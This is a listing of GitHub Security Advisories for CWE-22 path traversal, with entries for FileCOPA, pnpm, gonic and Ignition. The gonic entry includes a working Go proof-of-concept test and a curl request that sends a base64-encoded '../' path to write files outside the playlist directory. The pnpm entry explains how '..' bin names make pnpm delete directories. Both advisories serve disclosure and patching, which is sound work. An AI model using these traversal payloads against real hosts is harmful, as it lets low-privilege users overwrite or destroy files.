CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13049 vulnerabilities reference this CWE, most recent first.
GHSA-4GW6-7GRX-GCGJ
Vulnerability from github – Published: 2022-05-17 05:50 – Updated: 2022-05-17 05:50Directory traversal vulnerability in the FTP service in FileCOPA before 5.03 allows remote attackers to read or overwrite arbitrary files via unknown vectors. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2010-2112"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-05-28T20:30:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in the FTP service in FileCOPA before 5.03 allows remote attackers to read or overwrite arbitrary files via unknown vectors. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-4gw6-7grx-gcgj",
"modified": "2022-05-17T05:50:42Z",
"published": "2022-05-17T05:50:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2112"
},
{
"type": "WEB",
"url": "http://osvdb.org/64823"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39843"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4GXM-V5V7-FQC4
Vulnerability from github – Published: 2026-06-26 23:46 – Updated: 2026-06-26 23:46Description
Summary
Manifest bin object keys such as "", ".", and ".." passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass path.join(globalBinDir, binName) to removeBin. For "." this targets the global bin directory; for ".." this targets its parent.
Details
The vulnerable dataflow was:
bins/resolver/src/index.tsconverted manifestbinobject keys tobinNameand only required URL-safe text or$. Empty, dot, dot-dot, and scoped forms such as@scope/..were not rejected after scope stripping.global/packages/src/scanGlobalPackages.tsscanned installed global package manifests and returned manifest-derivedbin.namevalues.global/commands/src/globalRemove.ts,global/commands/src/globalUpdate.ts, and global add replacement logic joined those names toglobalBinDir.bins/remover/src/removeBins.tsrecursively removed the resulting path.
Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations.
PoC
Run:
The script first performs a safe prepatch simulation in a temporary directory:
prepatch_reserved_bin_name=..
prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home
prepatch_deleted_global_bin_parent=true
It then validates the patched implementation:
./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json
./node_modules/.bin/tsgo --build global/commands/tsconfig.json
./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts
cd bins/resolver
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand
cd global/commands
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand
cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check
cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib
git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml
The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only path.join(globalBinDir, "good").
Impact
Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path.
Affected Products
Ecosystem: npm
Package name: pnpm
Affected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows.
Patched versions: pending release containing the shared bin-name hardening.
Severity
Corrected vulnerable severity: High
Corrected vulnerable vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Corrected vulnerable score: 8.1
Final post-patch score: 0.0, not vulnerable after patch.
The original scan score was 8.3 with C:H/I:H/A:L. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent.
Weaknesses
CWE-22: Improper Limitation of a Pathname to a Restricted Directory
CWE-73: External Control of File Name or Path
Patch
bins/resolver/src/index.tsnow rejects empty, dot, and dot-dot bin names after scope stripping.bins/resolver/test/index.tscovers empty, dot, dot-dot, and scoped reserved bin keys.global/commands/test/globalRemove.test.tsproves global remove filters reserved manifest bin names before deletion and only removes a safegoodshim.pacquet/crates/cmd-shim/src/bin_resolver.rsmirrors the same reserved-name rejection; empty names were already rejected.pacquet/crates/cmd-shim/src/bin_resolver/tests.rsextends parity coverage..changeset/strange-bin-segments.mdrecords patch releases for@pnpm/bins.resolver,pnpm, andpacquet.
Pacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink.
Validation
Passed locally:
The script passed TypeScript builds, ESLint, bins/resolver Jest, global-remove sink Jest, pacquet fmt/tests, and git diff --check.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.34.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55699"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T23:46:53Z",
"nvd_published_at": "2026-06-25T18:16:40Z",
"severity": "MODERATE"
},
"details": "\u003cdetails\u003e\n\u003csummary\u003eMaintainer Action Plan\u003c/summary\u003e\n\n## Maintainer Action Plan\n\nThis report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.\n\n- Advisory: `CAND-PNPM-085` / `GHSA-4gxm-v5v7-fqc4`\n- Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4\n- Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1\n- Shared patch branch: `security/ghsa-batch-2026-06-09`\n- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`\n- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`\n- Maintainer priority: `appendix`\n- Component: `pnpm global add/remove bin cleanup`\n- Patch area: bin name/path segment validation\n- Affected packages: `npm:pnpm`\n- CWE IDs: `CWE-22`, `CWE-73`\n- Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`\n- Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.\n\n### Expected Patched Behavior\n\nReserved, dot, and path-segment bin names are rejected or ignored; global remove leaves `PNPM_HOME` and the sentinel file intact.\n\n### Files And Tests To Review\n\n- `bins/resolver/src/index.ts`\n- `bins/resolver/test/index.ts`\n- `global/commands/test/globalRemove.test.ts`\n- `pacquet/crates/cmd-shim/src/bin_resolver.rs`\n- `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs`\n- `.changeset/strange-bin-segments.md`\n\n### Focused Validation\n\nRun these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.\n\n- Use the private PR checks plus the patched replay coverage matrix for this candidate.\n\nThe full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate\u0027s replay evidence is `results/CAND-PNPM-085-patched-result.json`.\n\u003c!-- maintainer-action:end --\u003e\n\n## Title\n\nReserved manifest bin names can make global package operations delete outside the global bin directory\n\n\u003c/details\u003e\n\n## Description\n\n### Summary\n\nManifest `bin` object keys such as `\"\"`, `\".\"`, and `\"..\"` passed pnpm\u0027s bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass `path.join(globalBinDir, binName)` to `removeBin`. For `\".\"` this targets the global bin directory; for `\"..\"` this targets its parent.\n\n### Details\n\nThe vulnerable dataflow was:\n\n- `bins/resolver/src/index.ts` converted manifest `bin` object keys to `binName` and only required URL-safe text or `$`. Empty, dot, dot-dot, and scoped forms such as `@scope/..` were not rejected after scope stripping.\n- `global/packages/src/scanGlobalPackages.ts` scanned installed global package manifests and returned manifest-derived `bin.name` values.\n- `global/commands/src/globalRemove.ts`, `global/commands/src/globalUpdate.ts`, and global add replacement logic joined those names to `globalBinDir`.\n- `bins/remover/src/removeBins.ts` recursively removed the resulting path.\n\nInstall-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations.\n\n### PoC\n\nRun:\n\nThe script first performs a safe prepatch simulation in a temporary directory:\n\n```text\nprepatch_reserved_bin_name=..\nprepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home\nprepatch_deleted_global_bin_parent=true\n```\n\nIt then validates the patched implementation:\n\n```bash\n./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json\n./node_modules/.bin/tsgo --build global/commands/tsconfig.json\n./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts\ncd bins/resolver\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/index.ts --runInBand\ncd global/commands\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/globalRemove.test.ts -t \"global remove ignores reserved manifest bin names\" --runInBand\ncargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check\ncargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib\ngit diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml\n```\n\nThe patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only `path.join(globalBinDir, \"good\")`.\n\n### Impact\n\nDirect confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path.\n\n## Affected Products\n\nEcosystem: npm\n\nPackage name: `pnpm`\n\nAffected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows.\n\nPatched versions: pending release containing the shared bin-name hardening.\n\n## Severity\n\nCorrected vulnerable severity: High\n\nCorrected vulnerable vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\nCorrected vulnerable score: 8.1\n\nFinal post-patch score: 0.0, not vulnerable after patch.\n\nThe original scan score was 8.3 with `C:H/I:H/A:L`. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent.\n\n## Weaknesses\n\nCWE-22: Improper Limitation of a Pathname to a Restricted Directory\n\nCWE-73: External Control of File Name or Path\n\n## Patch\n\n- `bins/resolver/src/index.ts` now rejects empty, dot, and dot-dot bin names after scope stripping.\n- `bins/resolver/test/index.ts` covers empty, dot, dot-dot, and scoped reserved bin keys.\n- `global/commands/test/globalRemove.test.ts` proves global remove filters reserved manifest bin names before deletion and only removes a safe `good` shim.\n- `pacquet/crates/cmd-shim/src/bin_resolver.rs` mirrors the same reserved-name rejection; empty names were already rejected.\n- `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs` extends parity coverage.\n- `.changeset/strange-bin-segments.md` records patch releases for `@pnpm/bins.resolver`, `pnpm`, and `pacquet`.\n\nPacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink.\n\n## Validation\n\nPassed locally:\n\nThe script passed TypeScript builds, ESLint, `bins/resolver` Jest, global-remove sink Jest, pacquet fmt/tests, and `git diff --check`.",
"id": "GHSA-4gxm-v5v7-fqc4",
"modified": "2026-06-26T23:46:53Z",
"published": "2026-06-26T23:46:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55699"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pnpm: Reserved bin name deletes PNPM_HOME during global remove"
}
GHSA-4GXV-P5G5-J7W7
Vulnerability from github – Published: 2026-06-26 23:21 – Updated: 2026-06-26 23:21Summary
A logic error in ServeCreateOrUpdatePlaylist allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with 0o777 permissions.
The bug is independent of the playlist ownership IDOR fixed in 6dd71e6: it is an unreachable guard clause combined with no path containment in Store.Write.
Root cause — unreachable guard clause
server/ctrlsubsonic/handlers_playlist.go:74-90:
func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {
user := r.Context().Value(CtxUser).(*db.User)
params := r.Context().Value(CtxParams).(params.Params)
playlistID, _ := params.GetFirstID("id", "playlistId")
playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded
var playlist playlistp.Playlist
if playlistPath != "" {
if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// this condition is UNREACHABLE
playlist = *pl
}
}
if playlist.UserID != 0 && playlist.UserID != user.ID {
return spec.NewError(50, "you aren't allowed update that user's playlist")
}
...
playlist.Store.Read (playlist/playlist.go:88-144) returns either (*Playlist, nil) on success or (nil, err) on any failure path. There is no return path of (non-nil, non-nil-err).
So the inner branch err != nil && pl != nil is always false, the playlist = *pl assignment never executes, and playlist stays at its zero value with UserID = 0. The subsequent guard playlist.UserID != 0 && playlist.UserID != user.ID simplifies to false && (anything) and always passes, regardless of who owns the target path.
Root cause — no path containment in Store.Write
playlist/playlist.go:146-160:
func (s *Store) Write(relPath string, playlist *Playlist) error {
defer lock(&s.mu)()
if err := sanityCheck(s.basePath); err != nil {
return err
}
absPath := filepath.Join(s.basePath, relPath)
if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable!
return fmt.Errorf("make m3u base dir: %w", err)
}
file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open
...
if err := file.Truncate(0); err != nil { // wipe existing
...
}
filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything") resolves to /var/lib/gonic/etc/cron.daily/anything — Go's filepath.Join does NOT prevent .. traversal. Combined with the missing guard above, any authenticated user controls the destination path.
Live PoC — passing Go test
Drop this into server/ctrlsubsonic/handlers_playlist_write_traversal_test.go and run go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v:
package ctrlsubsonic
import (
"net/url"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
)
func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {
f := newFixture(t)
// playlistStore.basePath = <tmp>/playlists/. A relPath of "../injected.m3u"
// resolves under the parent <tmp> dir — escaping the playlists/ subtree.
traversalRel := filepath.Join("..", "injected.m3u")
traversalID := playlistIDEncode(traversalRel).String()
// f.alt is the NON-ADMIN user (ID=2).
resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{
"id": {traversalID},
"name": {"injected-by-low-priv-user"},
})
t.Logf("resp: %+v", string(resp))
tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
target := filepath.Join(tmpDir, "injected.m3u")
stat, err := os.Stat(target)
require.NoError(t, err, "VULNERABLE if the file exists outside playlists/")
require.False(t, stat.IsDir())
contents, err := os.ReadFile(target)
require.NoError(t, err)
t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents))
}
Test output against current master HEAD 6dd71e6:
=== RUN TestCreatePlaylistArbitraryWrite_RawPath
resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,
"playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",...,
"owner":"alt","songCount":0,...}}}
VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u
#GONIC-NAME:"injected-by-low-priv-user"
#GONIC-COMMENT:""
#GONIC-IS-PUBLIC:"false"
--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)
The file was created at <tmp>/injected.m3u while the playlist store's basePath is <tmp>/playlists/ — write succeeded outside the intended directory.
HTTP-level reproduction
# Target a writable path on the gonic host.
# Encode "../../../var/log/anything.log" (note: gonic must be able to write there)
RAW='../../../var/log/anything.log'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"
curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \
| python3 -m json.tool
# Response: {"subsonic-response":{"status":"ok",...}}
# Side effect: file written at /var/log/anything.log with M3U structured content,
# intermediate directories created with 0o777 permissions.
Impact
- Integrity: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (
#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:attributes, plus song paths), but thenamevalue is attacker-controlled and structurally placed (no newline injection;strconv.Quoteescapes specials). - Availability: Overwriting
gonic.db(or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable. - Filesystem state:
MkdirAll(dir, 0o777)creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal. - Trust boundary: gonic explicitly supports a non-admin user role (
ServeCreateUser, theIsAdminflag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set. - Content control is structural (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the
#GONIC-NAME:"..."header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High
Suggested fix
Two changes, either of which mitigates this:
1. Fix the unreachable guard at handlers_playlist.go:83:
// Currently (BROKEN):
if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
playlist = *pl
}
// Fixed:
if pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil {
playlist = *pl
}
This restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where playlistPath points to a non-existent file (the Read fails, playlist stays zero-valued, ownership check still bypassed). So the second fix is also needed.
2. Add path containment in playlist/playlist.go::Store.Write (same helper proposed in the companion advisory):
absPath := filepath.Join(s.basePath, relPath)
rel, err := filepath.Rel(s.basePath, absPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
return fmt.Errorf("path %q escapes playlist directory", relPath)
}
Apply the same guard in Read() and Delete() to close related primitives. Consider tightening MkdirAll from 0o777 to 0o755.
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.20.1"
},
"package": {
"ecosystem": "Go",
"name": "go.senan.xyz/gonic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49340"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-697",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T23:21:42Z",
"nvd_published_at": "2026-06-19T19:16:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA logic error in `ServeCreateOrUpdatePlaylist` allows **any authenticated Subsonic user** (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions.\n\nThe bug is independent of the playlist ownership IDOR fixed in [`6dd71e6`](https://github.com/sentriz/gonic/commit/6dd71e6): it is an **unreachable guard clause** combined with **no path containment in `Store.Write`**.\n\n## Root cause \u2014 unreachable guard clause\n\n`server/ctrlsubsonic/handlers_playlist.go:74-90`:\n\n```go\nfunc (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {\n user := r.Context().Value(CtxUser).(*db.User)\n params := r.Context().Value(CtxParams).(params.Params)\n\n playlistID, _ := params.GetFirstID(\"id\", \"playlistId\")\n playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded\n\n var playlist playlistp.Playlist\n if playlistPath != \"\" {\n if pl, err := c.playlistStore.Read(playlistPath); err != nil \u0026\u0026 pl != nil {\n // ^^^^^^^^^^^^^^^^^^^^^^^^^\n // this condition is UNREACHABLE\n playlist = *pl\n }\n }\n\n if playlist.UserID != 0 \u0026\u0026 playlist.UserID != user.ID {\n return spec.NewError(50, \"you aren\u0027t allowed update that user\u0027s playlist\")\n }\n ...\n```\n\n`playlist.Store.Read` (`playlist/playlist.go:88-144`) returns either `(*Playlist, nil)` on success or `(nil, err)` on any failure path. **There is no return path of `(non-nil, non-nil-err)`.**\n\nSo the inner branch `err != nil \u0026\u0026 pl != nil` is **always false**, the `playlist = *pl` assignment never executes, and `playlist` stays at its zero value with `UserID = 0`. The subsequent guard `playlist.UserID != 0 \u0026\u0026 playlist.UserID != user.ID` simplifies to `false \u0026\u0026 (anything)` and **always passes**, regardless of who owns the target path.\n\n## Root cause \u2014 no path containment in `Store.Write`\n\n`playlist/playlist.go:146-160`:\n\n```go\nfunc (s *Store) Write(relPath string, playlist *Playlist) error {\n defer lock(\u0026s.mu)()\n if err := sanityCheck(s.basePath); err != nil {\n return err\n }\n absPath := filepath.Join(s.basePath, relPath)\n if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable!\n return fmt.Errorf(\"make m3u base dir: %w\", err)\n }\n file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open\n ...\n if err := file.Truncate(0); err != nil { // wipe existing\n ...\n }\n```\n\n`filepath.Join(\"/var/lib/gonic/playlists\", \"../../etc/cron.daily/anything\")` resolves to `/var/lib/gonic/etc/cron.daily/anything` \u2014 Go\u0027s `filepath.Join` does NOT prevent `..` traversal. Combined with the missing guard above, **any authenticated user** controls the destination path.\n\n## Live PoC \u2014 passing Go test\n\nDrop this into `server/ctrlsubsonic/handlers_playlist_write_traversal_test.go` and run `go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v`:\n\n```go\npackage ctrlsubsonic\n\nimport (\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {\n\tf := newFixture(t)\n\n\t// playlistStore.basePath = \u003ctmp\u003e/playlists/. A relPath of \"../injected.m3u\"\n\t// resolves under the parent \u003ctmp\u003e dir \u2014 escaping the playlists/ subtree.\n\ttraversalRel := filepath.Join(\"..\", \"injected.m3u\")\n\ttraversalID := playlistIDEncode(traversalRel).String()\n\n\t// f.alt is the NON-ADMIN user (ID=2).\n\tresp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{\n\t\t\"id\": {traversalID},\n\t\t\"name\": {\"injected-by-low-priv-user\"},\n\t})\n\tt.Logf(\"resp: %+v\", string(resp))\n\n\ttmpDir := filepath.Dir(f.contr.musicPaths[0].Path)\n\ttarget := filepath.Join(tmpDir, \"injected.m3u\")\n\tstat, err := os.Stat(target)\n\trequire.NoError(t, err, \"VULNERABLE if the file exists outside playlists/\")\n\trequire.False(t, stat.IsDir())\n\n\tcontents, err := os.ReadFile(target)\n\trequire.NoError(t, err)\n\tt.Logf(\"VULNERABLE \u2014 file written at %s\\n%s\", target, string(contents))\n}\n```\n\nTest output against current `master` HEAD `6dd71e6`:\n\n```\n=== RUN TestCreatePlaylistArbitraryWrite_RawPath\n resp: {\"subsonic-response\":{\"status\":\"ok\",\"version\":\"1.15.0\",\"type\":\"gonic\",\"openSubsonic\":true,\n \"playlist\":{\"id\":\"pl-Li4vaW5qZWN0ZWQubTN1\",\"name\":\"injected-by-low-priv-user\",...,\n \"owner\":\"alt\",\"songCount\":0,...}}}\n VULNERABLE \u2014 file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u\n #GONIC-NAME:\"injected-by-low-priv-user\"\n #GONIC-COMMENT:\"\"\n #GONIC-IS-PUBLIC:\"false\"\n--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)\n```\n\nThe file was created at `\u003ctmp\u003e/injected.m3u` while the playlist store\u0027s basePath is `\u003ctmp\u003e/playlists/` \u2014 write succeeded outside the intended directory.\n\n## HTTP-level reproduction\n\n```bash\n# Target a writable path on the gonic host.\n# Encode \"../../../var/log/anything.log\" (note: gonic must be able to write there)\nRAW=\u0027../../../var/log/anything.log\u0027\nID=\"pl-$(printf \u0027%s\u0027 \"$RAW\" | base64 -w0 | tr \u0027/+\u0027 \u0027_-\u0027)\"\n\ncurl -s \"http://gonic-host/rest/createPlaylist.view?u=lowpriv\u0026p=pass\u0026c=poc\u0026v=1.16.1\u0026f=json\u0026id=$ID\u0026name=injected\" \\\n | python3 -m json.tool\n# Response: {\"subsonic-response\":{\"status\":\"ok\",...}}\n# Side effect: file written at /var/log/anything.log with M3U structured content,\n# intermediate directories created with 0o777 permissions.\n```\n\n## Impact\n\n- **Integrity**: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic\u0027s own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (`#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:` attributes, plus song paths), but the `name` value is attacker-controlled and structurally placed (no newline injection; `strconv.Quote` escapes specials).\n- **Availability**: Overwriting `gonic.db` (or wherever the SQLite file lives) destroys all user state \u2014 accounts, ratings, playlists, etc. The write is unrecoverable.\n- **Filesystem state**: `MkdirAll(dir, 0o777)` creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal.\n- **Trust boundary**: gonic explicitly supports a non-admin user role (`ServeCreateUser`, the `IsAdmin` flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process\u0027s working set.\n- **Content control is structural** (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the `#GONIC-NAME:\"...\"` header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` = **8.1 High**\n\n## Suggested fix\n\nTwo changes, either of which mitigates this:\n\n**1. Fix the unreachable guard at `handlers_playlist.go:83`**:\n\n```go\n// Currently (BROKEN):\nif pl, err := c.playlistStore.Read(playlistPath); err != nil \u0026\u0026 pl != nil {\n playlist = *pl\n}\n\n// Fixed:\nif pl, err := c.playlistStore.Read(playlistPath); err == nil \u0026\u0026 pl != nil {\n playlist = *pl\n}\n```\n\nThis restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where `playlistPath` points to a non-existent file (the Read fails, `playlist` stays zero-valued, ownership check still bypassed). So the second fix is also needed.\n\n**2. Add path containment in `playlist/playlist.go::Store.Write`** (same helper proposed in the companion advisory):\n\n```go\nabsPath := filepath.Join(s.basePath, relPath)\nrel, err := filepath.Rel(s.basePath, absPath)\nif err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n return fmt.Errorf(\"path %q escapes playlist directory\", relPath)\n}\n```\n\nApply the same guard in `Read()` and `Delete()` to close related primitives. Consider tightening `MkdirAll` from `0o777` to `0o755`.\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
"id": "GHSA-4gxv-p5g5-j7w7",
"modified": "2026-06-26T23:21:42Z",
"published": "2026-06-26T23:21:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sentriz/gonic/security/advisories/GHSA-4gxv-p5g5-j7w7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49340"
},
{
"type": "PACKAGE",
"url": "https://github.com/sentriz/gonic"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host"
}
GHSA-4H27-GQC7-4H48
Vulnerability from github – Published: 2022-05-02 03:54 – Updated: 2022-05-02 03:54Multiple directory traversal vulnerabilities in Ignition 1.2, when magic_quotes_gpc is disabled, allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the blog parameter to (1) comment.php and (2) view.php.
{
"affected": [],
"aliases": [
"CVE-2009-4426"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-12-28T19:00:00Z",
"severity": "MODERATE"
},
